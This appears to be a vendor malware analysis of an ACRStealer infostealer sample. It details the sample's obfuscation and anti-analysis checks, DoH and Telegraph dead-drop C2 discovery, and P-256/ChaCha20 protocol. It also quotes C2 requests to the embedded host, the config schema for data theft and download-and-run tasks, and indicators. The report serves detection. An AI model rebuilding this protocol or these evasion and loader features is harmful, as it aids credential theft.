Analysis scope
AhnLab Security Intelligence Center published its January 2026 Infostealer Trend Report on February 19, 2026. That report describes the move toward ECDH and ChaCha20-Poly1305 in distributed ACRStealer variants but does not identify the artifact examined here.
The family attribution rests on the embedded 4.3.7-alpha2 marker and protocol and configuration overlap with public ACRStealer reporting. It does not rest on a hash match in the AhnLab trend report.
This analysis follows one 4.3.7-alpha2 sample from startup through C2 negotiation, configuration dispatch, collection, and result publication. Its protocol, schemas, code paths, and execution boundaries are specific to that artifact.
Runtime and network observations used a reconstructed C2 server for this variant. The original sample connected to that server and emitted the request formats described below, but no traffic left the host-only network or reached live attacker infrastructure, a public resolver, or the embedded Telegraph page.
Key findings
- The server configuration is an execution gate. The client strictly Base64-decodes the authenticated response, applies repeating XOR with
852149723\0, parses JSON, and conditionally enters nine array-valued feature branches. - The application session uses fresh P-256 key agreement. The client derives a 32-byte key as
SHA256(SHA256(shared_x_be32))and protects messages with ChaCha20-Poly1305. - C2 discovery is layered. The sample combines an embedded hostname, DNS-over-HTTPS through fixed public resolver addresses, and a Telegraph dead-drop fallback.
- Static analysis is deliberately obstructed. Verified mechanisms include runtime string recovery, an opaque decoder branch with disconnected padding, hashed module and export resolution, and a 369-block top-level orchestrator.
- Startup depends on process-specific state. Stale WOW64 and loader pointers, plus an expected relocated shadow image, can fault before normal collection when the original initialization context is absent.
- Configured file collection completed for
sO,sM, andsW. Each branch selected one exact 32-byte file, built a 174-byte stored ZIP, and submitted it through the item-selected result route. - Browser evidence reached profile discovery and the first database-packaging attempt. The Chromium branch accepted its configuration, enumerated two profiles, and returned
-1before ZIP insertion. - Observed endpoint-key
gtraffic came from the debug worker. Both results contained debug-ring snapshots, a separate path from the configuration-driven generic grabber.
Analyzed sample
| Field | Value |
|---|---|
| SHA-256 | 769d06b54576c6beab2d33c7d4c05b679156c051652a843d6cc61de2cc9c58f9 |
| Version marker | 4.3.7-alpha2 |
| File type | PE32 x86 executable |
| File size | 776,704 bytes |
Startup, obfuscation, and WOW64 behavior
Verified obfuscation and analyst impact
The sample combines runtime string protection, concealed API resolution, and localized control-flow distortion. These mechanisms affect static recovery differently and should not be treated as one generic obfuscation layer.
| Mechanism | Verified implementation | Analyst impact |
|---|---|---|
| Runtime string protection | mw_decrypt_string at 0x433C51 calls the key-derivation, seed, and byte-decoder helpers that implement a SplitMix-style indexed schedule followed by XOR, subtraction, rotate-right, and final XOR. | Recovering the common decoder produced 637 decoded records, including the C2 hostname, Telegraph URL, HTTP fields, configuration members, paths, build text, and API names. |
| Opaque and disconnected decoder paths | The expression (x * ~x) & 1 at 0x433C5C–0x433C6B is always zero, making its state-update branch unreachable. Five predecessorless padding blocks beginning at 0x43BD20 sit outside the live byte-decoder path. | The false branch and disconnected operations obscure the active transform and degrade decompilation. |
| Module and export hashing | mw_resolve_export_by_hash at 0x45B4DB parses PE exports, rejects forwarded entries, and resolves matching callable addresses. Related routines extend name hashing across 32- and 64-bit loader views. | Important NTDLL dependencies are absent from ordinary imports and direct call sites. |
| Flattened orchestration | mw_main_orchestrator at 0x41E93C spans 10,962 bytes and 369 basic blocks with cross-jumps between dispatch, feature, and cleanup regions. | Smaller callees, cross-references, and runtime checkpoints provide more reliable behavioral boundaries than whole-function pseudocode. |
The anti-analysis checks described below are environmental gates, not control-flow obfuscation. The Heaven's Gate helpers complicate tooling but implement cross-architecture WOW64 access and are not classified here as obfuscation.
The configuration XOR, debug-record mask, and ChaCha20-Poly1305 channel protect data at different processing stages and are analytically distinct from control-flow obfuscation.
Serialized state and the executable shadow image
The file retains a stale WOW64 context pointer at 0x065A08A8 and loader-lock pointers from another ntdll.dll mapping. Dereferencing either state produced NTSTATUS 0xC0000005. Several dispatch paths also require a relocated 0xC0000-byte image at module_base + 0x07180000.
Mixed-mode transition
mw_get_peb32_via_heavens_gate_cached at 0x4843F0 switches from selector 0x23 to 0x33, reads the 64-bit TEB through GS:[0x30], adds a fixed 0x2000, and reads the presumed PEB32 pointer at offset 0x30 before returning through selector 0x23. On the analyzed Windows build, that fixed displacement produced a reserved address rather than the active PEB32.
Runtime continuation required current-process WOW64 values and a debugger-memory-only replacement of the transition helper in both live and shadow copies. The replacement read the current transition pointer from FS:[0xC0]. These runtime corrections did not modify the sample file.
Anti-analysis checks
After the runtime-only compatibility corrections, the complete anti-analysis aggregator was reached. It checks:
- Kaspersky driver artifacts
klif.sys,kldisk.sys,klhk.sys, andkneps.sys; %USERPROFILE%\Documents\Outlook Files\honey@pot.com.pst;- missing shutdown and undock privileges;
- a low count beneath
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall; and - process indicators associated with ANY.RUN.
The aggregate returned no-detection in the observed environment.
C2 discovery and manually serialized HTTP
The sample first uses the embedded name stream.echovale.cc through its direct connection path. When explicit resolution is required, mw_resolve_ipv4_via_doh at 0x482C24 accepts a dotted IPv4 address or sends RFC 8484 DNS-wire POSTs to these public resolver addresses, in order:
8.8.8.8
8.8.4.4
1.1.1.1
1.0.0.1
The resolver addresses are public infrastructure, not malware-owned IOCs. The sample emitted a 36-byte DNS A question for stream.echovale.cc using POST /dns-query, Content-Type: application/dns-message, and Host: dns.google.
stream.echovale.cc with the 52-byte DNS response. The request retains the sample's Host: dns.google header; the visible Server: Proofmetry-ACR-Bootstrap/1.0 header was generated by the reconstructed research server.Open full sizeTelegraph dead-drop fallback
If direct and DoH resolution do not yield a usable endpoint, mw_resolve_c2_via_telegraph_dead_drop at 0x42CB5E requests https://telegra.ph/C-Introduction-08-21. It requires HTTP 200 and a nonempty body, extracts bytes between r.] and )0(, Base64-decodes the value, and validates dotted IPv4.
The sample emitted the corresponding DoH query and accepted the research server's marker-delimited response. The public Telegraph service is a weak indicator alone; the page path and parser delimiters provide the useful context.
TCP, Schannel, and HTTP parsing
mw_http_exchange at 0x446FAE manually emits HTTP/1.1 requests. Method values 0 through 8 map to GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, and PATCH. The builder does not synthesize Host, Connection, or Content-Length; callers provide them.
The response parser supports Content-Length and chunked transfer encoding and caps the body at 100 MiB. Transport success means a syntactically valid response was received; callers separately enforce HTTP 200.
mw_ensure_tcp_schannel_session at 0x444F18 optionally negotiates Schannel. The caller-supplied Host is also used as SNI, while the connection object retains a separate TCP destination. Manual validation is requested, and no explicit certificate-chain validation call was identified in this layer. TLS completed in the observed run; the code does not support a broader claim about arbitrary certificates.
Using the matching same-run TLS key log, Wireshark decrypted and reassembled 11 complete HTTP transactions—11 requests and their 11 corresponding responses, represented by 22 message-bearing frames—across four TLS sessions. Those exchanges cover DoH resolution, P-256 handshakes, endpoint discovery, configuration, host inventory, Steam status, debug snapshots, and configured-file result publication.
P-256 session establishment and authenticated framing
The client creates an application session with POST /. Its initial request contains these six headers:
Host: stream.echovale.cc
Content-Type: application/octet-stream
X-Request-ID: 0
Connection: keep-alive
Content-Length: <64..127>
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36
The body carries a 64-byte P-256 public point followed by zero to 63 random padding bytes:
client_public_x_be32 || client_public_y_be32 || random_padding[0..63]
The point uses big-endian coordinates on secp256r1/NIST P-256. Observed request bodies included 100, 114, 116, and 122 bytes, representing 36, 50, 52, and 58 bytes of random padding.
An accepted response begins with the server's 64-byte P-256 point and supplies a nonempty X-Request-ID. The client validates the point, computes local_private × peer_public, serializes the shared X coordinate to exactly 32 big-endian bytes, and derives:
session_key = SHA256(SHA256(shared_x_be32))
mw_derive_transport_key_p256_sha256d multiplies the peer P-256 point by the local private scalar, serializes the shared X coordinate to 32 bytes, and applies SHA-256 twice.Open full size
POST /, X-Request-ID: 0, and a 114-byte body containing the 64-byte client point plus randomized padding. The reconstructed server returns the 64-byte server point and a nonzero request ID in its HTTP 200 response; the same persistent connection then carries endpoint-discovery and configuration request-response pairs.Open full sizeChaCha20-Poly1305 envelopes
Application messages use this binary frame with no associated data:
nonce[12] || ChaCha20 ciphertext[plaintext_length] || Poly1305 tag[16]
Encrypted requests repeat the nonzero X-Request-ID from the handshake. They also send X-Client-Data, whose ASCII value is Base64 of a second envelope protected with the same session key.
Responses must return HTTP 200 and at least 28 bytes. Authentication or decryption failure is surfaced to the caller as transport status 500. The handshake, endpoint-map request, and configuration request reused one persistent TLS connection in the observed execution; later collectors could establish secondary P-256 sessions.
Endpoint discovery and configuration protocol
The first encrypted request on the primary connection posts this 80-byte plaintext to /:
{"Command":"GetEndpoints","lu":"en-US","ls":"en-US","d":"WORKGROUP","ukr":false}
| Field | Meaning in this sample |
|---|---|
Command | Literal GetEndpoints |
lu | User locale name |
ls | System or UI locale name |
d | TCP/IP domain, with WORKGROUP fallback |
ukr | Whether a Ukrainian keyboard layout is present |
The sample decrypted the accepted research-server response to this server-selected endpoint map:
{"a":"/a","g":"/g","b":"/b","m":"/m","o":"/o","w":"/w","err":"/err","t":"/t","p":"/p","f":"/f","c":"/config"}
| Key | Producer or consumer in this sample |
|---|---|
c | Configuration request |
p | Unconditional host profile; observed |
f | Unconditional Steam result; observed |
g | Unconditional debug-ring snapshots; observed |
b | Code-confirmed browser archive path |
m, o, w | Configured-file results; observed |
a, t, err | Present in the endpoint map |
These server-selected paths are not stable IOCs. The configuration request posted {"Id":"019fd84c-02e7-7a67-9097-4f73d632de4a"} to the path selected by key c.
Observed exchange sizes
| Stage | Target | Plaintext or semantic body | Application body |
|---|---|---|---|
| DoH resolution | /dns-query | 36-byte DNS question | Not application-encrypted |
| P-256 handshake | / | 64-byte point plus 62-byte tail in the inert run | 126 bytes |
| Endpoint discovery | / | 80-byte JSON | 108 bytes |
| Configuration | Dynamic c path | 45-byte JSON | 73 bytes |
| Host profile | Dynamic p path | 4,979-byte JSON | 5,007 bytes |
| Steam result | Dynamic f path | Two-byte {} | 30 bytes |
| Debug snapshots | Dynamic g path | 16,516-byte ZIP each | 16,544 bytes each |
Configuration decoding
After ChaCha20-Poly1305 authentication, the configuration response passes through another encoding layer:
AEAD response plaintext
→ strict Base64 decode
→ repeating XOR with 852149723\0
→ recursive JSON parse
→ array-valued feature dispatch
The XOR key is ten bytes: nine ASCII digits plus the terminating NUL. The NUL participates in the repeating stream. For the inert configuration {}, the XOR result Base64-encodes to Q0g=.
mw_xor_config_repeating_key reconstructs 852149723\0 and applies all ten bytes, including the NUL terminator, to the decoded configuration.Open full size
EBX points to the single-branch sO fixture configuration used for the controlled run.Open full sizeThis build's inner configuration transform is repeating XOR. AhnLab's earlier analysis likewise described Base64-encoded, XOR-encrypted configuration data rather than RC4.
The root object is queried for exactly nine inbound feature members: b, sW, sM, sO, exP, exW, exG, g, and ld. A missing member is inert. A present empty array is non-null and enters its guarded handler even when no item is processed.
Numeric JSON nodes retain their text representation. The handlers interpret t, tp, tf, and tr from the first character, while p and gl are parsed as complete signed decimal integers.
Observed collection outside named feature roots
An inert {} configuration does not make this build behaviorally inert. Host inventory and Steam collection run after configuration parsing without a named root member, while an asynchronous debug worker publishes two snapshots.
Host profile through endpoint key p
mw_collect_host_inventory_unconditional at 0x474500 produced a 4,979-byte compact JSON object covering operating-system and architecture data; normalized user, computer, domain, and hardware/build identifiers; processor count; memory; screen resolution; elevation; local time; installed software; network-interface names; process names; and display adapters. Host-specific values are not reproduced here.
Steam result through endpoint key f
mw_collect_steam_session_artifacts at 0x45235E ran immediately afterward and published the two-byte object {} through endpoint key f, establishing the route's empty-result behavior.
Debug snapshots through endpoint key g
The sample maintains a 1,024-record in-memory debug ring. Its snapshot routine creates a 0x400C-byte payload—a fresh 12-byte nonce followed by a transformed 0x4000-byte ring—and adds that payload to a one-entry ZIP.
Two 16,516-byte archives were observed in order, with stored members g/DBG/DBG_b and g/DBG/DBG_f. These requests came from the debug worker, not the configuration-driven generic grabber.
Nine configuration branches
| Root | Fields consumed | Code-confirmed behavior |
|---|---|---|
b | n, p, pn, t | Browser/profile inventory; login, cookie, and autofill collection sequence |
exP | id, n; requires b | Chromium extension storage, class 0 |
exW | id, n; requires b | Chromium extension storage, class 1 |
exG | id, n; requires Gecko b | Gecko extension UUID mapping and storage collection |
sW | p, tp, n, a, f | Configured file collection, class 1 |
sM | p, tp, n, a, f | Configured file collection, class 0 |
sO | p, tp, n, a, f | Configured file collection, class 0 |
g | p, n, nonempty f; optional tp, r, gl | Generic file grabber, shortcut resolution, exclusions, and screen capture |
ld | u, tf, tr; optional p, w | Retrieves and executes a secondary task according to type |
Configured file groups: sO, sM, and sW
The three roots share mw_dispatch_configured_artifact_group at 0x438B18 and mw_collect_one_configured_file_target at 0x438DC7. sO and sM use class 0; sW uses class 1. Per-item field a selects the result route independently of the root category.
| Field | Meaning |
|---|---|
p | Configured source root or suffix |
tp | Path-root selector |
n | Logical archive namespace |
a | Endpoint-map key used for the result |
f | Case-insensitive exact or wildcard basename patterns |
Fields t and gl are not read by these handlers; r is read but discarded in this build. The tp selector resolves p directly (1) or beneath AppData (2), Desktop (3), the user root (4), or Documents (5). For tp=1, the downstream native file open requires an NT-namespace path such as \??\C:\...; a DOS path failed in the initial attempt.
mw_collect_one_configured_file_target passes the selected buffer and archive member name to mw_zip_add_buffer_entry, then clears and releases the file buffer.Open full size
mw_zip_add_buffer_entry call, EDI identifies o/fixture//fixture.txt, ESI points to the 32-byte fixture, and [ESP+0xC] records its length.Open full size| Root | Class | Result key | Decrypted ZIP | Member |
|---|---|---|---|---|
sO | 0 | o | 174 bytes | o/fixture//fixture.txt |
sM | 0 | m | 174 bytes | m/fixture//fixture.txt |
sW | 1 | w | 174 bytes | w/fixture//fixture.txt |
The fixture.txt names in this table are analyst-created test artifacts, not malware IOCs. Each ZIP used method 0 and contained the exact 32-byte selected file, which remained unchanged at its source. Each member had CRC-32 0xbd425c63. The doubled slash comes from this build's archive-name concatenation. A successful sW result also left the persistent class-1 artifact flag set; later loader tasks with w:true consult that state.
Browser collection: b
Chromium handling sequences profile inventory, login database collection, cookie collection, and autofill collection. An observed item resolved Chrome 145.0.7632.160 and enumerated Default and Profile 1. The first Default\Login Data packaging attempt returned -1 before ZIP insertion or submission.
Extension collectors (code-confirmed): exP, exW, and exG
exP and exW wrap a shared Chromium extension collector and require a non-null b array; they supply class 0 and class 1 respectively. exG requires a Gecko browser item, maps an extension ID through extensions.webextensions.uuids, and targets matching extension storage. None of the three wrappers directly selects an endpoint-map route in the mapped code.
Generic grabber (code-confirmed): g
The configured g item requires p, n, and a nonempty f string array. Optional tp defaults to 4, r defaults to false, and gl defaults to 0; r enables directory descent and gl caps its depth. Fields a and t are not read by this handler.
The handler resolves roots, enumerates matching files, follows shortcuts, applies built-in extension exclusions, and captures screen images. Even a present empty g array enters broader built-in collection logic. The two observed requests through endpoint key g instead contained snapshots from the separate debug worker.
Loader tasks: ld
Each item supplies URL u, file type tf, and execution type tr. Optional priority p controls ordering; optional w gates execution on the persistent class-1 artifact flag.
tr | tf | Code-confirmed action |
|---|---|---|
| 1 | 1 | Save to a temporary .exe path and pass it to the downloaded-file dispatcher |
| 1 | 2 | Save to a temporary .cmd path and pass it to the downloaded-file dispatcher |
| 1 | 3 | Save to a temporary .dll path and pass it to the downloaded-file dispatcher |
| 1 | 4 | Save to a temporary .ps1 path and pass it to the downloaded-file dispatcher |
| 1 | 6 | Save to a temporary .msi path and pass it to the downloaded-file dispatcher |
| 2 | 4 | Pass the downloaded script buffer to the PowerShell helper |
| 2 | 5 | Pass the downloaded buffer to the suspended dllhost.exe path |
Detection and hunting opportunities
Network correlation
A higher-confidence network analytic correlates the bootstrap sequence rather than relying on server-selected result paths:
- an x86 process issues RFC 8484
POST /dns-queryforstream.echovale.ccthrough Google or Cloudflare resolver infrastructure; - TLS uses SNI and
Hoststream.echovale.cc; POST /carriesX-Request-ID: 0, a Chrome-like Win64 user agent, and a 64–127-byte opaque body;- an HTTP 200 response contains a 64-byte point and nonempty request ID;
- a second
POST /repeats that request ID, includesX-Client-Data, and carries plaintext length plus 28 bytes; and - later POSTs target server-selected paths, potentially across secondary TLS and P-256 sessions.
The exact user agent claims Win64; x64 although the process is 32-bit. The initial body always begins with a 64-byte public point, while authenticated application bodies are at least 28 bytes. Fixed-path signatures should target the bootstrap shape rather than the lab-assigned /p, /g, /b, /m, /o, or /w values.
Endpoint correlation
| Behavior | Correlated endpoint sequence |
|---|---|
| Mixed-mode API path | 32-bit process walks 32/64-bit loader state, hashes exports, and enters selector 0x33 |
| Custom transport | Manually serialized HTTP over TCP and Schannel without WinHTTP |
| Environment profiling | Broad host enumeration followed by one encrypted result |
| Configured file collection | Native file open and directory enumeration → basename glob → read → in-memory ZIP → authenticated upload |
| Chromium path | Profile enumeration → database access attempts → archive/upload only if packaging succeeds |
| Debug snapshots | 16-KiB event ring → nonce-prefixed transform → one-entry ZIP named g/DBG/DBG_b or g/DBG/DBG_f |
| Loader branch | Download to a type-selected path or buffer → dispatcher, PowerShell helper, or suspended dllhost.exe path |
The Chromium-success and loader sequences are code-confirmed detection hypotheses.
Static pivots
Useful static pivots from this variant include:
stream.echovale.cc
https://telegra.ph/C-Introduction-08-21
852149723
4.3.7-alpha2
Chrome/134.2.6187.130
extensions.webextensions.uuids
g/DBG/DBG_
honey@pot.com.pst
The short configuration keys are weak independently. A stronger static rule combines several roots—such as sW, sM, sO, exP, exW, exG, and ld—with the C2 hostname, build string, configuration key, or P-256 and ChaCha constants.
Indicators
| Indicator | Type | Context |
|---|---|---|
769d06b54576c6beab2d33c7d4c05b679156c051652a843d6cc61de2cc9c58f9 | SHA-256 | Analyzed sample |
stream.echovale.cc | Domain | Embedded primary C2 name |
https://telegra.ph/C-Introduction-08-21 | URL | Embedded dead-drop page; legitimate service and low-confidence alone |
r.] … )0( | Parser delimiters | Telegraph dead-drop framing |
852149723\0 | Configuration key | Ten-byte repeating XOR key including NUL |
019fd84c-02e7-7a67-9097-4f73d632de4a | Configuration ID | Observed configuration-request value |
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.2.6187.130 Safari/537.36 | User-Agent | Bootstrap and application requests |
%USERPROFILE%\Documents\Outlook Files\honey@pot.com.pst | Path pattern | Anti-analysis artifact check |
klif.sys, kldisk.sys, klhk.sys, kneps.sys | Driver names | Anti-analysis artifact set |
g/DBG/DBG_b, g/DBG/DBG_f | ZIP member names | Unconditional debug snapshots |
The public resolver addresses are not malware infrastructure. Short configuration keys and server-selected endpoint paths are also weak indicators independently.
Conclusion
ACRStealer 4.3.7-alpha2 is driven by server-supplied JSON configuration but still performs meaningful collection when the root object is empty. Its bootstrap combines explicit DNS-over-HTTPS and a Telegraph fallback with custom HTTP and Schannel. Above TLS, it establishes a P-256 session, derives the key with double SHA-256, and authenticates endpoint discovery, configuration, host profiling, debug snapshots, and collection results with ChaCha20-Poly1305.
The nine feature roots are not nine equivalent commands. Three configured-file groups share one collector and produced exact ZIP results. Browser profile discovery, unconditional host-profile collection, Steam-result publication, and debug-snapshot traffic add distinct host and network evidence to the protocol sequence.
For defenders, the strongest opportunities correlate low-level WOW64 and NTDLL behavior, the P-256 bootstrap shape, request-ID and X-Client-Data headers, configuration-driven native file collection, and in-memory ZIP publication.
Proofmetry Platform
Proofmetry Platform supplied the reconstructed C2 server shown in the network analysis above. It provides the exchanges the original ACRStealer sample expects, enabling selected supported behaviors without live attacker infrastructure while customer sensors record the resulting endpoint and network evidence.